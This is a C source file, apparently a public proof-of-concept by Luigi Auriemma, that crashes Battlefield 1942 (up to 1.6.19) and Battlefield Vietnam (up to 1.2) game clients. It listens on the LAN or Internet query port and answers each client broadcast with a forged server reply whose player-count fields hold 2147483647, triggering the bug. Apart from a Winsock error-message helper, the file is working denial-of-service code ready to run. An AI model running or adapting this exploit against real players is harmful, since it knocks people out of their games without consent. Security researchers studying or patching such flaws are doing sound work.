/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>

void std_err(void) {
char *error;

switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif

#define VER "0.1"
#define BUFFSZ 2048
#define BOOMPLAYERS 2147483647 /* BUG */
#define BOOM "\\gamename\\%s" \
"\\gamever\\1.6" \
"\\location\\0" \
"\\hostname\\crash" \
"\\hostport\\%d" \
"\\mapname\\aberdeen" \
"\\numplayers\\%u" \
"\\maxplayers\\%u" /* not needed to be the same value */ \
"\\final\\" \
"\\queryid\\1.1"

void std_err(void);

int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
pcklen,
on = 1,
psz;
u_short port;
u_char buff[BUFFSZ + 1],
pck[BUFFSZ + 1];

setbuf(stdout, NULL);

fputs("\n"
"Battlefield broadcast client crash "VER"\n"
" 1942 <= 1.6.19 and Vietnam <= 1.2\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 3) {
printf("\n"
"Usage: %s <game> <port>\n"
"\n"
"Game:\n"
" bfvietnam = Battlefield Vietnam\n"
" bfield1942 = Battlefield 1942\n"
" bfield1942sw = Battlefield 1942: Secret Weapons of WW2\n"
" bfield1942rtr = Battlefield 1942: Road to Rome\n"
" bfield1942swd = Battlefield 1942: Secret Weapons of WW2 Demo\n"
" bfield1942d = Battlefield 1942 Demo\n"
"\n"
"Port:\n"
" 23000 = default Internet port\n"
" 22000 = default LAN port\n"
"\n", argv[0]);
exit(1);
}

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

port = atoi(argv[2]);

peer.sin_addr.s_addr = INADDR_ANY;
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();

pcklen = snprintf(
pck,
BUFFSZ,
BOOM,
argv[1],
port,
BOOMPLAYERS,
BOOMPLAYERS);
if((pcklen < 0) || (pcklen > BUFFSZ)) exit(1);

fputs("Clients:\n", stdout);
for(;;) {
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
if(len < 0) continue;
buff[len] = 0x00;

printf("%16s:%5hu %s\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port),
buff);

if(sendto(sd, pck, pcklen, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
}

close(sd);
return(0);
}